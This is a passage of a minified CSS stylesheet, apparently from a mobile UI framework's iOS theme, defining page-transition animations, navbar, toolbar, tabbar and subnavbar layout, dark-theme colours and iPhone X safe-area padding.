.router-transition-css-forward .page-current{-webkit-animation:ios-page-current-to-previous .4s forwards;animation:ios-page-current-to-previous .4s forwards}.ios .router-transition-css-forward .page-current:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-current-to-previous-opacity .4s forwards;animation:ios-page-current-to-previous-opacity .4s forwards}.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after,.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before{top:44px}.ios .router-transition-css-backward .page-current,.ios .router-transition-css-backward .page-previous{pointer-events:none}.ios .router-transition-css-backward .page-previous{-webkit-animation:ios-page-previous-to-current .4s forwards;animation:ios-page-previous-to-current .4s forwards}.ios .router-transition-css-backward .page-previous:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-previous-to-current-opacity .4s forwards;animation:ios-page-previous-to-current-opacity .4s forwards}.ios .router-transition-css-backward .page-current{-webkit-animation:ios-page-current-to-next .4s forwards;animation:ios-page-current-to-next .4s forwards}.ios .router-transition-css-backward .page-current:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-current-to-next-shadow .4s forwards;animation:ios-page-current-to-next-shadow .4s forwards}.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before,.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after{top:44px}.ios .theme-dark .page,.page.ios .theme-dark{background:#171717}@-webkit-keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}}@keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}}@-webkit-keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@-webkit-keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@-webkit-keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}@keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}.link,.tab-link{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ios .link{-webkit-transition:opacity .3s;transition:opacity .3s}.ios .link i+i,.ios .link i+span,.ios .link span+i,.ios .link span+span{margin-left:7px}.ios .link.active-state{opacity:.3;-webkit-transition-duration:0s;transition-duration:0s}.navbar{position:relative;left:0;top:0;width:100%;z-index:500;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar b{font-weight:500}.navbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.navbar .left,.navbar .right,.navbar .title{position:relative;z-index:1}.navbar .title{text-align:center;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;font-weight:500;display:inline-block}.navbar .subtitle{display:block}.navbar .left,.navbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar .right:first-child{position:absolute;height:100%}.navbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.navbar-inner.stacked{display:none}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .navbar{height:44px;font-size:17px;background:#f7f7f8}.ios .navbar.no-hairline:after{display:none!important}.ios .navbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .navbar a.link{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;line-height:44px;height:44px}.ios .navbar a.icon-only{width:44px;margin:0;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .navbar .title{font-size:17px;margin:0;line-height:1.2}.ios .navbar .subtitle{color:#6d6d72;line-height:1;font-size:10px;text-align:center;font-weight:400}.ios .navbar .left a+a,.ios .navbar .right a+a{margin-left:15px}.ios .navbar .title,.ios .navbar b{font-weight:600}.ios .navbar .left{margin-right:10px}.ios .navbar .right{margin-left:10px}.ios .navbar .right:first-child{right:8px}.ios .navbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .navbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .navbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .navbar-inner{-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:0 8px}.ios .navbar~.page-content,.ios .navbar~:not(.no-navbar) .page-content{padding-top:44px}.ios .navbar-previous{pointer-events:none}.ios .navbar-previous .fading,.ios .navbar-previous .left,.ios .navbar-previous .right,.ios .navbar-previous .subnavbar,.ios .navbar-previous>.title{opacity:0}.ios .navbar-previous .sliding{opacity:0}.ios .navbar-previous .subnavbar.sliding,.ios .navbar-previous.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ios .navbar-next{pointer-events:none}.ios .navbar-next .fading,.ios .navbar-next .left,.ios .navbar-next .right,.ios .navbar-next .subnavbar,.ios .navbar-next>.title{opacity:0}.ios .navbar-next .sliding{opacity:0}.ios .navbar-next.sliding .left,.ios .navbar-next.sliding .right,.ios .navbar-next.sliding .subnavbar,.ios .navbar-next.sliding>.title{opacity:0}.ios .navbar-next .subnavbar.sliding,.ios .navbar-next.sliding .subnavbar{opacity:1;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ios .navbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .navbar-hidden{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .router-transition-css-backward .navbar-current .left,.ios .router-transition-css-backward .navbar-current .right,.ios .router-transition-css-backward .navbar-current .subnavbar,.ios .router-transition-css-backward .navbar-current>.title,.ios .router-transition-css-forward .navbar-current .left,.ios .router-transition-css-forward .navbar-current .right,.ios .router-transition-css-forward .navbar-current .subnavbar,.ios .router-transition-css-forward .navbar-current>.title{-webkit-animation:ios-navbar-element-fade-out .4s forwards;animation:ios-navbar-element-fade-out .4s forwards}.ios .router-transition-css-backward .navbar-current .left.sliding .icon,.ios .router-transition-css-backward .navbar-current .sliding,.ios .router-transition-css-backward .navbar-current.sliding .left,.ios .router-transition-css-backward .navbar-current.sliding .left .icon,.ios .router-transition-css-backward .navbar-current.sliding .right,.ios .router-transition-css-backward .navbar-current.sliding>.title,.ios .router-transition-css-forward .navbar-current .left.sliding .icon,.ios .router-transition-css-forward .navbar-current .sliding,.ios .router-transition-css-forward .navbar-current.sliding .left,.ios .router-transition-css-forward .navbar-current.sliding .left .icon,.ios .router-transition-css-forward .navbar-current.sliding .right,.ios .router-transition-css-forward .navbar-current.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;opacity:0!important;-webkit-animation:none;animation:none}.ios .router-transition-css-backward .navbar-current .sliding.subnavbar,.ios .router-transition-css-backward .navbar-current.sliding .subnavbar,.ios .router-transition-css-forward .navbar-current .sliding.subnavbar,.ios .router-transition-css-forward .navbar-current.sliding .subnavbar{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;opacity:1}.ios .router-transition-css-backward .navbar-previous .left,.ios .router-transition-css-backward .navbar-previous .right,.ios .router-transition-css-backward .navbar-previous .subnavbar,.ios .router-transition-css-backward .navbar-previous>.title,.ios .router-transition-css-forward .navbar-next .left,.ios .router-transition-css-forward .navbar-next .right,.ios .router-transition-css-forward .navbar-next .subnavbar,.ios .router-transition-css-forward .navbar-next>.title{-webkit-animation:ios-navbar-element-fade-in .4s forwards;animation:ios-navbar-element-fade-in .4s forwards}.ios .router-transition-css-backward .navbar-previous .left.sliding .icon,.ios .router-transition-css-backward .navbar-previous .sliding,.ios .router-transition-css-backward .navbar-previous.sliding .left,.ios .router-transition-css-backward .navbar-previous.sliding .left .icon,.ios .router-transition-css-backward .navbar-previous.sliding .right,.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar,.ios .router-transition-css-backward .navbar-previous.sliding>.title,.ios .router-transition-css-forward .navbar-next .left.sliding .icon,.ios .router-transition-css-forward .navbar-next .sliding,.ios .router-transition-css-forward .navbar-next.sliding .left,.ios .router-transition-css-forward .navbar-next.sliding .left .icon,.ios .router-transition-css-forward .navbar-next.sliding .right,.ios .router-transition-css-forward .navbar-next.sliding .subnavbar,.ios .router-transition-css-forward .navbar-next.sliding>.title{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-animation:none;animation:none;-webkit-transform:translate3d(0,0,0)!important;transform:translate3d(0,0,0)!important;opacity:1!important}.ios .theme-dark .navbar,.navbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .navbar:after,.navbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .navbar .subtitle,.navbar.ios .theme-dark .subtitle{color:#8e8e93}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-left-edge .navbar-inner,.ios.device-iphone-x .panel-left .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-left:calc(8px + constant(safe-area-inset-right));padding-left:calc(8px + env(safe-area-inset-right))}.ios.device-iphone-x .ios-edges .navbar-inner,.ios.device-iphone-x .ios-right-edge .navbar-inner,.ios.device-iphone-x .panel-right .navbar-inner,.ios.device-iphone-x .popup .navbar-inner,.ios.device-iphone-x .sheet-modal .navbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@keyframes ios-navbar-element-fade-in{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}@keyframes ios-navbar-element-fade-out{from{opacity:1}to{opacity:0}}.toolbar{width:100%;position:relative;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;left:0}.toolbar b{font-weight:500}.toolbar a{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;position:relative;white-space:nowrap;text-overflow:ellipsis}.toolbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.toolbar i.icon{display:block}.toolbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.views>.tabbar,.views>.tabbar-labels{z-index:5001}.tabbar a.link,.tabbar-labels a.link{line-height:1.4}.tabbar a.link,.tabbar a.tab-link,.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.tabbar-labels a.link,.tabbar-labels a.tab-link{height:100%;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.tabbar-labels a.link .tabbar-label,.tabbar-labels a.tab-link .tabbar-label{display:block;line-height:1;margin:0;position:relative;text-overflow:ellipsis;white-space:nowrap}.tabbar-scrollable .toolbar-inner{overflow:auto;-webkit-overflow-scrolling:touch}.tabbar-scrollable .toolbar-inner::-webkit-scrollbar{display:none!important;width:0!important;height:0!important;-webkit-appearance:none;opacity:0!important}.tabbar-scrollable a.link,.tabbar-scrollable a.tab-link{width:auto;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.page>.toolbar,.view>.toolbar,.views>.toolbar{position:absolute}.ios .toolbar{height:44px;font-size:17px;background:#f7f7f8;bottom:0}.ios .toolbar:after{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ios .toolbar a.link{line-height:44px;height:44px}.ios .toolbar a.link i+i,.ios .toolbar a.link i+span,.ios .toolbar a.link span+i,.ios .toolbar a.link span+span{margin-left:7px}.ios .toolbar a.icon-only{min-height:44px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;margin:0;min-width:44px}.ios .toolbar b{font-weight:600}.ios .toolbar.no-hairline:before{display:none!important}.ios .toolbar:before{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .toolbar-inner{padding:0 8px}.ios .tabbar,.ios .tabbar-labels{color:#929292}.ios .tabbar a,.ios .tabbar-labels a{color:#929292}.ios .tabbar a.tab-link-active,.ios .tabbar-labels a.tab-link-active{color:#007aff}.ios .tabbar i.icon,.ios .tabbar-labels i.icon{height:30px}.ios .tabbar-labels{height:50px}.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{padding-top:4px;padding-bottom:4px}.ios .tabbar-labels a.link i+span,.ios .tabbar-labels a.tab-link i+span{margin:0}.ios .tabbar-labels .tabbar-label{letter-spacing:.01em;font-size:10px}@media (min-width:768px){.ios .tabbar .toolbar-inner,.ios .tabbar-labels .toolbar-inner{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .tabbar a.link,.ios .tabbar a.tab-link,.ios .tabbar-labels a.link,.ios .tabbar-labels a.tab-link{width:auto;min-width:105px}.ios .tabbar-labels{height:56px}.ios .tabbar-labels .tabbar-label{font-size:14px}}.ios .tabbar-scrollable .toolbar-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .tabbar-scrollable a.link,.ios .tabbar-scrollable a.tab-link{padding:0 8px}.ios .toolbar~* .page-content,.ios .toolbar~.page-content{padding-bottom:44px}.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:50px}@media (min-width:768px){.ios .tabbar-labels~* .page-content,.ios .tabbar-labels~.page-content{padding-bottom:56px}}.ios .toolbar-transitioning{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .toolbar-hidden{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .theme-dark .toolbar,.toolbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .toolbar:before,.toolbar.ios .theme-dark:before{background-color:#282829}.ios .color-theme-red .tabbar a.tab-link-active,.ios .color-theme-red .tabbar-labels a.tab-link-active,.ios .color-theme-red.tabbar a.tab-link-active,.ios .color-theme-red.tabbar-labels a.tab-link-active{color:#ff3b30}.ios .color-theme-green .tabbar a.tab-link-active,.ios .color-theme-green .tabbar-labels a.tab-link-active,.ios .color-theme-green.tabbar a.tab-link-active,.ios .color-theme-green.tabbar-labels a.tab-link-active{color:#4cd964}.ios .color-theme-blue .tabbar a.tab-link-active,.ios .color-theme-blue .tabbar-labels a.tab-link-active,.ios .color-theme-blue.tabbar a.tab-link-active,.ios .color-theme-blue.tabbar-labels a.tab-link-active{color:#007aff}.ios .color-theme-pink .tabbar a.tab-link-active,.ios .color-theme-pink .tabbar-labels a.tab-link-active,.ios .color-theme-pink.tabbar a.tab-link-active,.ios .color-theme-pink.tabbar-labels a.tab-link-active{color:#ff2d55}.ios .color-theme-yellow .tabbar a.tab-link-active,.ios .color-theme-yellow .tabbar-labels a.tab-link-active,.ios .color-theme-yellow.tabbar a.tab-link-active,.ios .color-theme-yellow.tabbar-labels a.tab-link-active{color:#fc0}.ios .color-theme-orange .tabbar a.tab-link-active,.ios .color-theme-orange .tabbar-labels a.tab-link-active,.ios .color-theme-orange.tabbar a.tab-link-active,.ios .color-theme-orange.tabbar-labels a.tab-link-active{color:#ff9500}.ios .color-theme-gray .tabbar a.tab-link-active,.ios .color-theme-gray .tabbar-labels a.tab-link-active,.ios .color-theme-gray.tabbar a.tab-link-active,.ios .color-theme-gray.tabbar-labels a.tab-link-active{color:#8e8e93}.ios .color-theme-white .tabbar a.tab-link-active,.ios .color-theme-white .tabbar-labels a.tab-link-active,.ios .color-theme-white.tabbar a.tab-link-active,.ios .color-theme-white.tabbar-labels a.tab-link-active{color:#fff}.ios .color-theme-black .tabbar a.tab-link-active,.ios .color-theme-black .tabbar-labels a.tab-link-active,.ios .color-theme-black.tabbar a.tab-link-active,.ios .color-theme-black.tabbar-labels a.tab-link-active{color:#000}.ios .tabbar-labels.color-red a.tab-link-active,.ios .tabbar.color-red a.tab-link-active{color:#ff3b30}.ios .tabbar-labels.color-green a.tab-link-active,.ios .tabbar.color-green a.tab-link-active{color:#4cd964}.ios .tabbar-labels.color-blue a.tab-link-active,.ios .tabbar.color-blue a.tab-link-active{color:#007aff}.ios .tabbar-labels.color-pink a.tab-link-active,.ios .tabbar.color-pink a.tab-link-active{color:#ff2d55}.ios .tabbar-labels.color-yellow a.tab-link-active,.ios .tabbar.color-yellow a.tab-link-active{color:#fc0}.ios .tabbar-labels.color-orange a.tab-link-active,.ios .tabbar.color-orange a.tab-link-active{color:#ff9500}.ios .tabbar-labels.color-gray a.tab-link-active,.ios .tabbar.color-gray a.tab-link-active{color:#8e8e93}.ios .tabbar-labels.color-white a.tab-link-active,.ios .tabbar.color-white a.tab-link-active{color:#fff}.ios .tabbar-labels.color-black a.tab-link-active,.ios .tabbar.color-black a.tab-link-active{color:#000}.ios.device-iphone-x .login-screen>.toolbar,.ios.device-iphone-x .page>.toolbar,.ios.device-iphone-x .panel>.toolbar,.ios.device-iphone-x .popup>.toolbar,.ios.device-iphone-x .view>.toolbar,.ios.device-iphone-x .views>.toolbar{height:calc(44px + constant(safe-area-inset-bottom));height:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .login-screen>.toolbar .toolbar-inner,.ios.device-iphone-x .page>.toolbar .toolbar-inner,.ios.device-iphone-x .panel>.toolbar .toolbar-inner,.ios.device-iphone-x .popup>.toolbar .toolbar-inner,.ios.device-iphone-x .view>.toolbar .toolbar-inner,.ios.device-iphone-x .views>.toolbar .toolbar-inner{height:auto;bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(50px + constant(safe-area-inset-bottom));height:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .login-screen>.tabbar-labels,.ios.device-iphone-x .page>.tabbar-labels,.ios.device-iphone-x .panel>.tabbar-labels,.ios.device-iphone-x .popup>.tabbar-labels,.ios.device-iphone-x .view>.tabbar-labels,.ios.device-iphone-x .views>.tabbar-labels{height:calc(56px + constant(safe-area-inset-bottom));height:calc(56px + env(safe-area-inset-bottom))}}.ios.device-iphone-x .toolbar~* .page-content,.ios.device-iphone-x .toolbar~.page-content{padding-bottom:calc(44px + constant(safe-area-inset-bottom));padding-bottom:calc(44px + env(safe-area-inset-bottom))}.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(50px + constant(safe-area-inset-bottom));padding-bottom:calc(50px + env(safe-area-inset-bottom))}@media (min-width:768px){.ios.device-iphone-x .tabbar-labels~* .page-content,.ios.device-iphone-x .tabbar-labels~.page-content{padding-bottom:calc(56px + constant(safe-area-inset-bottom));padding-bottom:calc(56px + env(safe-area-inset-bottom))}}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-left-edge .toolbar-inner,.ios.device-iphone-x .panel-left .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .toolbar-inner,.ios.device-iphone-x .ios-right-edge .toolbar-inner,.ios.device-iphone-x .panel-right .toolbar-inner,.ios.device-iphone-x .popup .toolbar-inner,.ios.device-iphone-x .sheet-modal .toolbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.subnavbar{width:100%;position:absolute;left:0;top:0;z-index:500;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .title{position:relative;overflow:hidden;text-overflow:ellpsis;white-space:nowrap}.subnavbar .left,.subnavbar .right{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.subnavbar .right:first-child{position:absolute;height:100%}.subnavbar-inner{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;overflow:hidden}.subnavbar-inner.stacked{display:none}.navbar .subnavbar{top:100%}.page>.navbar,.view>.navbar,.views>.navbar{position:absolute}.ios .subnavbar{height:45px;margin-top:-1px;padding-top:1px;background:#f7f7f8}.ios .subnavbar.no-hairline:after{display:none!important}.ios .subnavbar .title{font-weight:700;line-height:1;overflow:visible;font-size:34px;text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;letter-spacing:-.03em}.ios .subnavbar .title{margin-left:7px}.ios .subnavbar .left a+a,.ios .subnavbar .right a+a{margin-left:15px}.ios .subnavbar .left{margin-right:10px}.ios .subnavbar .right{margin-left:10px}.ios .subnavbar .right:first-child{right:8px}.ios .subnavbar a.link{line-height:44px;height:44px;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.ios .subnavbar a.icon-only{min-width:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;margin:0}.ios .subnavbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .subnavbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .subnavbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .subnavbar-inner{padding:0 8px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .subnavbar,.ios .navbar~.subnavbar{top:44px}.ios .page-with-subnavbar .page-content,.ios .subnavbar~* .page-content,.ios .subnavbar~.page-content{padding-top:44px}.ios .navbar~.page-with-subnavbar:not(.no-navbar) .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~* .page-content,.ios .navbar~:not(.no-navbar) .subnavbar~.page-content,.ios .page-with-subnavbar .navbar~.page-content{padding-top:88px}.ios .theme-dark .subnavbar,.subnavbar.ios .theme-dark{background:#1b1b1b}.ios .theme-dark .subnavbar:after,.subnavbar.ios .theme-dark:after{background-color:#282829}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-left-edge .subnavbar-inner,.ios.device-iphone-x .panel-left .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .subnavbar-inner,.ios.device-iphone-x .ios-right-edge .subnavbar-inner,.ios.device-iphone-x .panel-right .subnavbar-inner,.ios.device-iphone-x .popup .subnavbar-inner,.ios.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.block{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;z-index:1}.block.no-hairlines ul:before,.block.no-hairlines:before,.ios .block.no-hairlines-ios ul:before,.ios .block.no-hairlines-ios:before,.md .block.no-hairlines-md ul:before,.md .block.no-hairlines-md:before{display:none!important}.block.no-hairlines ul:after,.block.no-hairlines:after,.ios .block.no-hairlines-ios ul:after,.ios .block.no-hairlines-ios:after,.md .block.no-hairlines-md ul:after,.md .block.no-hairlines-md:after{display:none!important}.block.no-hairline-top ul:before,.block.no-hairline-top:before,.ios .block.no-hairline-top-ios ul:before,.ios .block.no-hairline-top-ios:before,.md .block.no-hairline-top-md ul:before,.md .block.no-hairline-top-md:before{display:none!important}.block.no-hairline-bottom ul:after,.block.no-hairline-bottom:after,.ios .block.no-hairline-bottom-ios ul:after,.ios .block.no-hairline-bottom-ios:after,.md .block.no-hairline-bottom-md ul:after,.md 